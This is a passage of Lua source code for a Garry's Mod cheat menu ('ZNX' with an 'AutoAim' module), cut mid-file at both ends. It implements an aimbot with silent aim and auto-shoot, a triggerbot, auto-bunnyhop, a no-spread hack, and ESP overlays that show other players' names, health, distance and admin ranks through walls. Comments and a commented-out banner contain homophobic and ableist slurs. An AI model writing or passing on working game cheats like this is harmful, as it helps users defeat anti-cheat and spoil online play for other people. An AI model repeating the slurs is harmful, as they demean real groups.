  2198. local current = CmdM["GetViewAngles"](cmd)
  2199. current = self:ApproachAngle(current, targetAim, smooth * FrameTime())
  2200. current.r = 0
  2201. if self.RevertingAim then
  2202. local diff = self:NormalizeAngle(current - self:GetView())
  2203. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.RevertingAim = false end
  2204. elseif targetAim == self:GetView() then
  2205. current = targetAim
  2206. end
  2207. if self.SetAngleTo then
  2208. local diff = self:NormalizeAngle(current - self.SetAngleTo)
  2209. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.SetAngleTo = nil end
  2210. end
  2211. aim = current
  2212. else
  2213. aim = targetAim
  2214. self.SetAngleTo = nil
  2215. end
  2216. CmdM["SetViewAngles"](cmd, aim)
  2217. local sensitivity = 0.22
  2218. local diff = aim - CmdM["GetViewAngles"](cmd)
  2219. CmdM["SetMouseX"](cmd, diff.y / sensitivity)
  2220. CmdM["SetMouseY"](cmd, diff.p / sensitivity)
  2221. local move = Vector(CmdM["GetForwardMove"](cmd), CmdM["GetSideMove"](cmd), 0)
  2222. local norm = VecM["GetNormal"](move)
  2223. local set = AngM["Forward"](VecM["Angle"](norm) + (aim - self:GetView())) * VecM["Length"](move)
  2224. CmdM["SetForwardMove"](cmd, set.x)
  2225. CmdM["SetSideMove"](cmd, set.y)
  2226. end
  2227. AA:AddHook("CreateMove", "SetAimAngles")
  2228. function AA:RevertAim()
  2229. if LocalPlayer():GetActiveWeapon() != NULL then
  2230. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2231. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2232. end
  2233. self.RevertingAim = true
  2234. end
  2235. AA:AddHook("TargetLost", "RevertAim")
  2236. function AA:StopRevertAim()
  2237. if LocalPlayer():GetActiveWeapon() != NULL then
  2238. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2239. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2240. end
  2241. self.RevertingAim = false
  2242. end
  2243. AA:AddHook("TargetGained", "RevertAim")
  2244. function AA:ViewToAim()
  2245. if LocalPlayer():GetActiveWeapon() != NULL then
  2246. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2247. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2248. end
  2249. if self:Enabled() then return end
  2250. self:SetAngle(self:GetView())
  2251. end
  2252. AA:AddHook("OnToggled", "ViewToAim")
  2253. AA:CreateSetting("crosshair", "Crosshair size (0 to disable)", 18, {Min = 0, Max = 20})
  2254. function AA:DrawTarget()
  2255. if LocalPlayer():GetActiveWeapon() != NULL then
  2256. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2257. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2258. end
  2259. if !self:Enabled() then return end
  2260. local target = self:GetTarget()
  2261. if !target then return end
  2262. local size = self:Setting("crosshair")
  2263. if size <= 0 then return end
  2264. local blocked, aimOff = self:TargetBlocked()
  2265. if blocked then
  2266. surface.SetDrawColor(255, 0, 0, 255)
  2267. elseif aimOff then
  2268. surface.SetDrawColor(255, 255, 0, 255)
  2269. else
  2270. surface.SetDrawColor(0, 255, 0, 255)
  2271. end
  2272. local pos = self:TargetPosition(target)
  2273. local screen = VecM["ToScreen"](pos)
  2274. local x, y = screen.x, screen.y
  2275. local a, b = size / 2, size / 6
  2276. surface.DrawLine(x - a, y - a, x - b, y - a)
  2277. surface.DrawLine(x - a, y - a, x - a, y - b)
  2278. surface.DrawLine(x + a, y + a, x + b, y + a)
  2279. surface.DrawLine(x + a, y + a, x + a, y + b)
  2280. surface.DrawLine(x + a, y - a, x + b, y - a)
  2281. surface.DrawLine(x + a, y - a, x + a, y - b)
  2282. surface.DrawLine(x - a, y + a, x - b, y + a)
  2283. surface.DrawLine(x - a, y + a, x - a, y + b)
  2284. end
  2285. AA:AddHook("HUDPaint", "DrawTarget")
  2286. AA.ScreenMaxAngle = {
  2287. Length = 0,
  2288. FOV = 0,
  2289. MaxAngle = 0
  2290. }
  2291. AA:CreateSetting("draw_maxangle", "Draw Max Angle", true)
  2292. function AA:DrawMaxAngle()
  2293. if LocalPlayer():GetActiveWeapon() != NULL then
  2294. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2295. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2296. end
  2297. if !self:Enabled() then return end
  2298. local show = AA:Setting("draw_maxangle")
  2299. if !show then return end
  2300. local ply = LocalPlayer()
  2301. if !ValidEntity(ply) then return end
  2302. local info = self.ScreenMaxAngle
  2303. local maxang = AA:Setting("maxangle")
  2304. local fov = PlyM["GetFOV"](ply)
  2305. if GetViewEntity() == ply && (maxang != info.MaxAngle || fov != info.FOV) then
  2306. local view = self:GetView()
  2307. view.p = view.p + maxang
  2308. local screen = (PlyM["GetShootPos"](ply) + (AngM["Forward"](view) * 100))
  2309. screen = VecM["ToScreen"](screen)
  2310. info.Length = math.abs((ScrH() / 2) - screen.y)
  2311. info.MaxAngle = maxang
  2312. info.FOV = fov
  2313. end
  2314. local length = info.Length
  2315. local cx, cy = ScrW() / 2, ScrH() / 2
  2316. for x = -1, 1 do
  2317. for y = -1, 1 do
  2318. if x != 0 || y != 0 then
  2319. local add = VecM["GetNormal"](Vector(x, y, 0)) * length
  2320. surface.SetDrawColor(0, 0, 0, 255)
  2321. surface.DrawRect((cx + add.x) - 2, (cy + add.y) - 2, 5, 5)
  2322. surface.SetDrawColor(255, 255, 255, 255)
  2323. surface.DrawRect((cx + add.x) - 1, (cy + add.y) - 1, 3, 3)
  2324. end
  2325. end
  2326. end
  2327. end
  2328. AA:AddHook("HUDPaint", "DrawMaxAngle")
  2329. AA.AttackDown = false
  2330. function AA:SetShooting(bool)
  2331. if LocalPlayer():GetActiveWeapon() != NULL then
  2332. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2333. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2334. end
  2335. if self.AttackDown == bool then return end
  2336. self.AttackDown = bool
  2337. local pre = {[true] = "+", [false] = "-"}
  2338. RunConsoleCommand(pre[bool] .. "attack")
  2339. end
  2340. AA.NextShot = 0
  2341. AA:CreateSetting("autoshoot", "Max auto-shoot distance (0 to disable)", 0, {Min = 0, Max = 16384})
  2342. function AA:Shoot()
  2343. if LocalPlayer():GetActiveWeapon() != NULL then
  2344. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2345. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2346. end
  2347. if !self:Enabled() then
  2348. self:SetShooting(false)
  2349. return
  2350. end
  2351. local maxDist = self:Setting("autoshoot")
  2352. if maxDist == 0 then return end
  2353. local target = self:GetTarget()
  2354. if !target then return end
  2355. local blocked, wrongAim = self:TargetBlocked(target)
  2356. if blocked || wrongAim then return end
  2357. local ply = LocalPlayer()
  2358. if !ValidEntity(ply) then return end
  2359. local targetPos = self:TargetPosition(target)
  2360. local distance = VecM["Length"](targetPos - ply:GetShootPos())
  2361. if distance > maxDist && maxDist != -1 then return end
  2362. if CurTime() < self.NextShot then return end
  2363. local weap = PlyM["GetActiveWeapon"](ply)
  2364. if !ValidEntity(weap) then return end
  2365. self:SetShooting(true)
  2366. if self:IsSemiAuto(weap) then
  2367. timer.Simple(0.05, function() self:SetShooting(false) end)
  2368. end
  2369. self.NextShot = CurTime() + 0.1
  2370. end
  2371. AA:AddHook("Think", "Shoot")
  2372. function AA:StopShooting()
  2373. if LocalPlayer():GetActiveWeapon() != NULL then
  2374. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2375. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2376. end
  2377. self:SetShooting(false)
  2378. end
  2379. AA:AddHook("TargetLost", "StopShooting")
  2380. AA.IsEnabled = false
  2381. function AA:Enabled() return self.IsEnabled end
  2382. function AA:SetEnabled(bool)
  2383. if self.IsEnabled == bool then return end
  2384. self.IsEnabled = bool
  2385. local e = {[true] = "1", [false] = "0"}
  2386. RunConsoleCommand("aa_enabled", e[self.IsEnabled])
  2387. self:CallHook("OnToggled")
  2388. end
  2389. function AA:Toggle()
  2390. self:SetEnabled(!self:Enabled())
  2391. end
  2392. concommand.Add("aa_toggle", function() AA:Toggle() end)
  2393. AA:CreateSetting("enabled", "Enabled", false, {Save = false})
  2394. function AA:ConVarEnabled(_, old, val)
  2395. if old == val then return end
  2396. val = tonumber(val) or 0
  2397. self:SetEnabled(val > 0)
  2398. end
  2399. AA:AddCVarHook("aa_enabled", "ConVarEnabled")
  2400. concommand.Add("+aa", function() AA:SetEnabled(true) end)
  2401. concommand.Add("-aa", function() AA:SetEnabled(false) end)
  2402. function AA:OpenMenu()
  2403. local w, h = ScrW() / 3, ScrH() / 2
  2404. local menu = vgui.Create("DFrame")
  2405. menu:SetTitle("AutoAim")
  2406. menu:SetSize(w, h)
  2407. menu:Center()
  2408. menu.Paint = function()
  2409. draw.RoundedBox( 8, 0, 0, menu:GetWide(), menu:GetTall(), Color( 0, 0, 0, 210 ) )
  2410. end
  2411. menu:MakePopup()
  2412. local scroll = vgui.Create("DPanelList", menu)
  2413. scroll:SetPos(5, 25)
  2414. scroll:SetSize(w - 10, h - 30)
  2415. scroll:EnableVerticalScrollbar()
  2416. local form = vgui.Create("DForm", menu)
  2417. form:SetName("")
  2418. form.Paint = function()
  2419. draw.RoundedBox( 8, 0, 0, form:GetWide(), form:GetTall(), Color( 180, 180, 180, 30 ) )
  2420. end
  2421. scroll:AddItem(form)
  2422. self:BuildMenu(form)
  2423. if AA.Menu then AA.Menu:Remove() end
  2424. AA.Menu = menu
  2425. end
  2426. concommand.Add("aa_menu", function() AA:OpenMenu() end)
  2427. function AA:RegisterMenu()
  2428. spawnmenu.AddToolMenuOption("Options", "Hacks", "AutoAim", "AutoAim", "", "", function(p) self:BuildMenu(p) end)
  2429. end
  2430. AA:AddHook("PopulateToolMenu", "RegisterMenu")
  2431. function AA:AngleBetween(a, b)
  2432. if LocalPlayer():GetActiveWeapon() != NULL then
  2433. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2434. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2435. end
  2436. return math.deg(math.acos(VecM["Dot"](a, b)))
  2437. end
  2438. function AA:NormalizeAngle(ang)
  2439. if LocalPlayer():GetActiveWeapon() != NULL then
  2440. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2441. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2442. end
  2443. return Angle(math.NormalizeAngle(ang.p), math.NormalizeAngle(ang.y), math.NormalizeAngle(ang.r))
  2444. end
  2445. function AA:ApproachAngle(start, target, add)
  2446. if LocalPlayer():GetActiveWeapon() != NULL then
  2447. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2448. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2449. end
  2450. local diff = self:NormalizeAngle(target - start)
  2451. local vec = Vector(diff.p, diff.y, diff.r)
  2452. local len = VecM["Length"](vec)
  2453. vec = VecM["GetNormal"](vec) * math.min(add, len)
  2454. return start + Angle(vec.x, vec.y, vec.z)
  2455. end
  2456. local notAuto = {"weapon_pistol", "weapon_rpg", "weapon_357", "weapon_crossbow"}
  2457. function AA:IsSemiAuto(weap)
  2458. if LocalPlayer():GetActiveWeapon() != NULL then
  2459. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2460. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2461. end
  2462. if !ValidEntity(weap) then return end
  2463. return (weap.Primary && !weap.Primary.Automatic) || table.HasValue(notAuto, EntM["GetClass"](weap))
  2464. end
  2465. local isfiring = false
  2466. local lastoldang = 0
  2467. function ZNX.AimbotCore( cmd )
  2468. if ZNX.Vars.Aimbot and AA.IsEnabled == true then
  2469. ZNX.ChatText( "Ancien Aimbot d�sactiv� pour eviter les bugs \nVous devez d�sactiv� le Aimbot Normal \nPour pouvoir activer l'Ancien Aimbot !", Color(255,0,0) )
  2470. AA:SetEnabled(false)
  2471. end
  2472. local ply = LocalPlayer()
  2473. if !ZNX.Vars.SilentAim then ZNX.InternalFakeAngles = 0 end
  2474. if lastoldang and isangle( lastoldang ) then
  2475. cmd:SetViewAngles( lastoldang )
  2476. lastoldang = 0
  2477. end
  2478. if !ZNX.Vars.Aimbot then
  2479. lastoldang = 0
  2480. ZNX.AimbotPreviewTarget = -1
  2481. ZNX.AimbotTarget = game.GetWorld()
  2482. return
  2483. end
  2484. if !ZNX.Vars.AimbotStickyLock then
  2485. local closestfag = ZNX.GetClosestToCursor( true )
  2486. if closestfag != ZNX.AimbotTarget then ZNX.AimbotTarget = closestfag end
  2487. end
  2488. local atarg = ZNX.AimbotTarget
  2489. local pozzed = ZNX.PrepareForAStomping( atarg )
  2490. if isvector( pozzed ) then ZNX.AimbotPreviewTarget = pozzed end
  2491. -- negate target if they are invalid for whatever reason
  2492. if !atarg:IsValid() or ZNX.IsDead( atarg ) or !ZNX.InFOV( atarg ) or !ZNX.CanTargetPlayer( atarg ) or (ZNX.ToMetric(ply:GetPos():Distance(atarg:GetPos())) >= ZNX.NumberVars.AimbotDist) or !isvector( pozzed ) then
  2493. ZNX.AimbotPreviewTarget = -1
  2494. ZNX.AimbotTarget = ZNX.GetClosestToCursor( true )
  2495. ZNX.InternalFakeAngles = 0
  2496. return
  2497. end
  2498. -- snap only on fire option
  2499. if ZNX.Vars.SnapOnFire and !input.IsMouseDown(MOUSE_LEFT) or !ply:GetActiveWeapon() or !ply:GetActiveWeapon():IsValid() or !ZNX.CanBotShoot( ply:GetActiveWeapon() ) then
  2500. -- ZNX.AimbotTarget = game.GetWorld()
  2501. targetlerp = LocalPlayer():EyeAngles()
  2502. return
  2503. end
  2504. -- keybind mode
  2505. if ZNX.Vars.AimbotBindMode then
  2506. local khn = ZNX.NumberVars.AimbotBindKey
  2507. if not ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then
  2508. -- ZNX.AimbotTarget = game.GetWorld()
  2509. targetlerp = LocalPlayer():EyeAngles()
  2510. return
  2511. end
  2512. end
  2513. -- cap a motherfucker
  2514. ZNX.AimbotPreviewTarget = pozzed
  2515. local aids = pozzed - ply:GetShootPos()
  2516. aids = aids:Angle()
  2517. aids:Normalize()
  2518. if ZNX.NumberVars.AimbotSmooth > 0 then
  2519. targetlerp = LerpAngle(FrameTime() * ((51 - ZNX.NumberVars.AimbotSmooth) / 5), targetlerp, aids)
  2520. aids = targetlerp
  2521. end
  2522. aids = Angle( aids.p, aids.y, 0 )
  2523. if ZNX.Vars.SilentAim then
  2524. lastoldang = cmd:GetViewAngles() + Angle( cmd:GetMouseY() * 0.02, -cmd:GetMouseX() * 0.015, 0 )
  2525. ZNX.InternalFakeAngles = lastoldang
  2526. end
  2527. cmd:SetViewAngles(aids)
  2528. if ZNX.Vars.SilentAim then ZNX.FixMove( cmd, true ) end
  2529. if ZNX.Vars.AutoShoot and !ZNX.Vars.Autoclick and !ZNX.Vars.Triggerbot then
  2530. if( !isfiring ) then
  2531. cmd:SetButtons( bit.bor( cmd:GetButtons(), IN_ATTACK ) )
  2532. isfiring = true
  2533. else
  2534. cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2535. isfiring = false
  2536. end
  2537. end
  2538. end
  2539. local function ch_bunnyhop(ply)
  2540. if( ZNX.Vars.Bhop) then
  2541. if(ply:KeyDown(IN_JUMP) && !LocalPlayer():IsOnGround()) then
  2542. ply:RemoveKey(IN_JUMP);
  2543. if !LocalPlayer():IsFlagSet( FL_ONGROUND ) and LocalPlayer():GetMoveType() != MOVETYPE_NOCLIP then
  2544. if(ply:GetMouseX() > 1 || ply:GetMouseX() < -1) then
  2545. ply:SetSideMove(ply:GetMouseX() > 1 && 400 || -400);
  2546. else
  2547. ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D());
  2548. ply:SetSideMove((ply:CommandNumber() % 2 == 0) && -400 || 400);
  2549. end
  2550. end
  2551. elseif(ply:KeyDown(IN_JUMP) && ZNX.Vars.BhopAutostrafe) then
  2552. ply:SetForwardMove(10000)
  2553. end
  2554. end
  2555. end
  2556. hook.Add("CreateMove", "", function(ply)
  2557. ch_bunnyhop(ply);
  2558. end);
  2559. function Nospread()
  2560. if ZNX.Vars.CompSpread then
  2561. hook.Add("Think", "nospread", function ()
  2562. if LocalPlayer():GetActiveWeapon().Primary then
  2563. LocalPlayer():GetActiveWeapon().Primary.Cone = 0
  2564. LocalPlayer():GetActiveWeapon().Primary.Spread = 0
  2565. end
  2566. end)
  2567. end
  2568. end
  2569. hook.Add("Think", "Nospreading", Nospread)
  2570. local vw = Angle( 0, 0, 0 )
  2571. local targetlerp = Angle( 0, 0, 0)
  2572. local nxtangle = false
  2573. function ZNX.CreateMove( cmd )
  2574. local ply = LocalPlayer()
  2575. if !ply:IsValid() then return end
  2576. local amemfootprint = gcinfo()
  2577. if ZNX.Vars.Triggerbot and ply:Alive() and ply:GetActiveWeapon() and ply:GetActiveWeapon():IsValid() and ZNX.CanBotShoot( ply:GetActiveWeapon() ) then
  2578. local td = {start = ply:GetShootPos(), endpos = ply:GetShootPos() + ply:EyeAngles():Forward() * 65535, filter = ply, mask = MASK_SHOT}
  2579. local tr = util.TraceLine(td)
  2580. if (tr.Entity:IsPlayer() and ZNX.CanTargetPlayer( tr.Entity ) ) or tr.Entity:IsNPC() or tr.Entity.Type == "nextbot" then
  2581. if( !isfiring ) then
  2582. cmd:SetButtons( bit.bor( cmd:GetButtons(), IN_ATTACK ) )
  2583. isfiring = true
  2584. else
  2585. cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2586. isfiring = false
  2587. end
  2588. end
  2589. end
  2590. if ZNX.ScrollDelta != 0 then cmd:SetMouseWheel( ZNX.ScrollDelta ) end
  2591. if( ZNX.Vars.RopeStorm and ply:KeyDown(IN_ATTACK2)) then
  2592. local aids = Angle(math.random(-90, 90), math.random(-180, 180), 0)
  2593. aids:Normalize()
  2594. cmd:SetViewAngles(aids)
  2595. if ply:KeyDown(IN_ATTACK2) then cmd:RemoveKey(IN_ATTACK2) end
  2596. end
  2597. if ZNX.Vars.FreecamControls then
  2598. local khn = ZNX.NumberVars.FreecamForward
  2599. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.pos = ZNX.FreecamCoordinates.pos + ZNX.FreecamCoordinates.ang:Forward() * 7 end
  2600. local khn = ZNX.NumberVars.FreecamBack
  2601. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.pos = ZNX.FreecamCoordinates.pos - ZNX.FreecamCoordinates.ang:Forward() * 7 end
  2602. local khn = ZNX.NumberVars.FreecamLeft
  2603. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.y = ZNX.FreecamCoordinates.ang.y + 1 end
  2604. local khn = ZNX.NumberVars.FreecamRight
  2605. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.y = ZNX.FreecamCoordinates.ang.y - 1 end
  2606. local khn = ZNX.NumberVars.FreecamUp
  2607. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.p = ZNX.FreecamCoordinates.ang.p - 0.75 end
  2608. local khn = ZNX.NumberVars.FreecamDown
  2609. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.p = ZNX.FreecamCoordinates.ang.p + 0.75 end
  2610. end
  2611. ZNX.AimbotCore( cmd )
  2612. ZNX.MemoryDebug["aimbot"] = gcinfo() - amemfootprint
  2613. end
  2614. hook.Add( "CreateMove", "cmove", ZNX.CreateMove )
  2615. local xraytrans = Color(255, 255, 255, 101)
  2616. surface.CreateFont( "memes", {
  2617. font = "Trebuchet",
  2618. size = 200,
  2619. weight = 950,
  2620. } )
  2621. local scanmat = Material("particle/particle_ring_blur")
  2622. local leadermat = Material( "particle/particle_ring_wave_additive" )
  2623. local beammat = Material("trails/laser")
  2624. function ZNX.Vision()
  2625. local me = LocalPlayer()
  2626. if !me:IsValid() then return end
  2627. local memfootprint = gcinfo()
  2628. --[[
  2629. for i = 0, ScrH(), 200 do
  2630. for w = 0, ScrW(), 200 do
  2631. draw.SimpleTextOutlined( ":^)", "memes", w, i, Color(255,255,255,255), 0, 0, 1, Color(0,0,55,255) )
  2632. end
  2633. end
  2634. draw.SimpleTextOutlined( "IM A HUGE FUCKING FAGGOT", "memes", 200, ScrH() / 2 - 230, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2635. draw.SimpleTextOutlined( "WHO USES LEAKED HACKS", "memes", 260, ScrH() / 2 - 50, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2636. draw.SimpleTextOutlined( "COS IM POOR AND RETARDED", "memes", 180, ScrH() / 2 + 150, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2637. --]]
  2638. if !ZNX.Vars.Vision then return end
  2639. if ZNX.Vars.CSFlashlight then
  2640. local dlight = DynamicLight( me:EntIndex() + 5 )
  2641. if ( dlight ) then
  2642. dlight.pos = me:GetEyeTraceNoCursor().HitPos
  2643. dlight.r = 255
  2644. dlight.g = 255
  2645. dlight.b = 255
  2646. dlight.brightness = 2
  2647. dlight.Decay = 1000
  2648. dlight.Size = 2256
  2649. dlight.DieTime = CurTime() + 0.5
  2650. end
  2651. end
  2652. if ZNX.Vars.ShowFPS then
  2653. DrawOutlinedText ( os.date( "%H:%M:%S"), "Fontnpcesp", ScrW()-40, 10, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2654. DrawOutlinedText ( "FPS: ", "Fontnpcesp", ScrW()-48, 23, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2655. DrawOutlinedText ( math.Round( 1/FrameTime()), "Fontnpcesp", ScrW()-28, 23, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2656. DrawOutlinedText ( "PING: ", "Fontnpcesp", ScrW()-46, 36, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2657. DrawOutlinedText ( LocalPlayer():Ping(), "Fontnpcesp", ScrW()-27, 36, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2658. end
  2659. if ZNX.Vars.ShowESP then
  2660. if ZNX.Vars.NPC_ESP then
  2661. for k, v in pairs(ents.GetAll()) do
  2662. if( v ~= LocalPlayer() ) then
  2663. if( v:IsNPC() ) then
  2664. local drawColor = Color(238, 206, 48, 255);
  2665. local drawPosit = v:GetPos():ToScreen();
  2666. local textData = {}
  2667. textData.pos = {}
  2668. textData.pos[1] = drawPosit.x;
  2669. textData.pos[2] = drawPosit.y;
  2670. textData.color = drawColor;
  2671. textData.text = v:GetClass();
  2672. textData.font = "Fontnpcesp";
  2673. textData.xalign = TEXT_ALIGN_CENTER;
  2674. textData.yalign = TEXT_ALIGN_CENTER;
  2675. draw.Text( textData );
  2676. end
  2677. end
  2678. end
  2679. end
  2680. -- players
  2681. for k, v in pairs( player.GetAll() ) do
  2682. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2683. if !ZNX.OnScreen( v, 50 ) then continue end
  2684. local teamcol, teamcol2
  2685. if ZNX.Vars.TeamColors then
  2686. teamcol = team.GetColor(v:Team())
  2687. teamcol2 = Color(math.Clamp(teamcol.r - 100, 0, 255), math.Clamp(teamcol.g - 100, 0, 255), math.Clamp(teamcol.b - 100, 0, 255), 255)
  2688. else
  2689. teamcol = ZNX.DefaultScheme
  2690. teamcol2 = ZNX.DefaultScheme2
  2691. end
  2692. if v == me then continue end
  2693. local pos = (v:GetPos()+Vector(0,0,70)):ToScreen()
  2694. local admintext = ZNX.GetRank( v )
  2695. if !ZNX.IsDead( v ) then
  2696. if ZNX.Vars.VSquares then
  2697. local posrep = (v:GetPos()+Vector(0,0,40)):ToScreen()
  2698. surface.SetDrawColor(teamcol)
  2699. surface.DrawOutlinedRect(posrep.x - 10, posrep.y - 10, 20, 20)
  2700. surface.SetDrawColor(teamcol2)
  2701. surface.DrawOutlinedRect(posrep.x - 8, posrep.y - 8, 16, 16)
  2702. surface.SetDrawColor(Color(255,255,255,255))
  2703. surface.DrawRect(posrep.x - 2, posrep.y - 2, 4, 4)
  2704. end
  2705. if ZNX.Vars.VNames then draw.SimpleTextOutlined( v:Name(), "DermaDefault", pos.x, pos.y - 62, teamcol, 1, 0, 1, Color(0,0,55,255) ) end
  2706. if ZNX.Vars.BoundingBox3d then cam.Start3D(EyePos(),EyeAngles()) render.DrawWireframeBox( v:GetPos(), Angle(0,0,0), Vector( -16, -16, 0 ), Vector( 16, 16, 72 ), ZNX.ColScheme, true ) cam.End3D() end
  2707. -- propkill shit
  2708. render.SetMaterial( beammat )
  2709. if ZNX.Vars.PKPlayerBeams then
  2710. local vz, ppos = ZNX.PlayerVisiblePK( me:GetShootPos(), v )
  2711. if vz then
  2712. cam.Start3D(EyePos(),EyeAngles())
  2713. render.DrawBeam( (me:GetShootPos() + Vector(0,0,-5)) + EyeAngles():Forward() * 5, ppos, 5, 0, 1, teamcol )
  2714. cam.End3D()
  2715. end
  2716. end
  2717. if ZNX.Vars.PKPropBeams then
  2718. if ZNX.HoldingProp and ZNX.HoldingProp:IsValid() then
  2719. local src = ZNX.HoldingProp:LocalToWorld( ZNX.HoldingProp:OBBCenter() )
  2720. --[[
  2721. cam.Start3D(EyePos(),EyeAngles())
  2722. render.StartBeam( 5 )
  2723. for i = 0, 4 do
  2724. local zp = src + (me:GetAimVector() * (i * 200)) + Vector( 0, 0, -(i ^ 3.15))
  2725. render.AddBeam( zp, 150, i, Color( 255, 100, 0) )
  2726. end
  2727. render.EndBeam()
  2728. render.DrawBeam( me:EyePos(), me:EyePos() + me:GetAimVector() * 2000, 50, 0, 1, Color( 255, 100, 0) )
  2729. cam.End3D()
  2730. --]]
  2731. local vz2, ppos2 = ZNX.PlayerVisiblePK( src, v )
  2732. if vz2 then
  2733. cam.Start3D(EyePos(),EyeAngles())
  2734. render.DrawBeam( src, ppos2, 50, 0, 1, teamcol2 )
  2735. cam.End3D()
  2736. end
  2737. end
  2738. end
  2739. -- target highlighting
  2740. if ZNX.Vars.ShowTargets and ZNX.IsTarget( v ) then
  2741. draw.SimpleTextOutlined( "[CIBLE]", "DermaDefault", math.Clamp(pos.x, 30, ScrW() - 54), math.Clamp(pos.y - 74, 30, ScrH() - 54), Color(255,155,0,255), 1, 0, 1, Color(55,20,0,255) )
  2742. surface.SetDrawColor(Color(255,155,0,255))
  2743. surface.DrawLine( ScrW() / 2, ScrH(), pos.x, pos.y )
  2744. end
  2745. if ZNX.Vars.ShowFriends and ZNX.IsFriend( v ) and !ZNX.IsTarget( v ) then
  2746. draw.SimpleTextOutlined( "[AMI]", "DermaDefault", pos.x, pos.y - 74, Color(0,255,0,255), 1, 0, 1, Color(0,0,55,255) )
  2747. end
  2748. if ZNX.Vars.ShowRanks and !(admintext == "user" or admintext == "guest" or admintext == "player") then
  2749. draw.SimpleTextOutlined( "["..admintext.."]", "DermaDefault", pos.x, pos.y - 90, Color(255,100,0,255), 1, 0, 1, Color(50,0,0,255) )
  2750. end
  2751. if ZNX.Vars.Vizlines then
  2752. local tr = util.TraceLine ({
  2753. start = v:EyePos(),
  2754. endpos = v:EyePos() + v:GetAimVector() * 5000,
  2755. filter = v,
  2756. mask = MASK_SOLID_BRUSHONLY
  2757. })
  2758. local tp = tr.HitPos:ToScreen()
  2759. local p = v:EyePos():ToScreen()
  2760. surface.DrawLine(p.x, p.y, tp.x, tp.y)
  2761. surface.SetDrawColor(teamcol)
  2762. surface.DrawLine(tp.x - 4, tp.y, tp.x + 4, tp.y)
  2763. surface.DrawLine(tp.x, tp.y - 4, tp.x, tp.y + 4)
  2764. end
  2765. if ZNX.Vars.ShowDistance then
  2766. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x, pos.y - 40, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2767. end
  2768. if ZNX.Vars.ShowHP then
  2769. local colhp = math.Clamp(v:Health() * 3, 0, 255)
  2770. local colcomp = Color(255,colhp,0,255)
  2771. draw.SimpleTextOutlined( tostring(v:Health()).."%", "DermaDefault", pos.x, pos.y - 51, colcomp, 1, 0, 1, Color(0,0,0,255) )
  2772. end
  2773. if ZNX.Vars.ArmeESP then
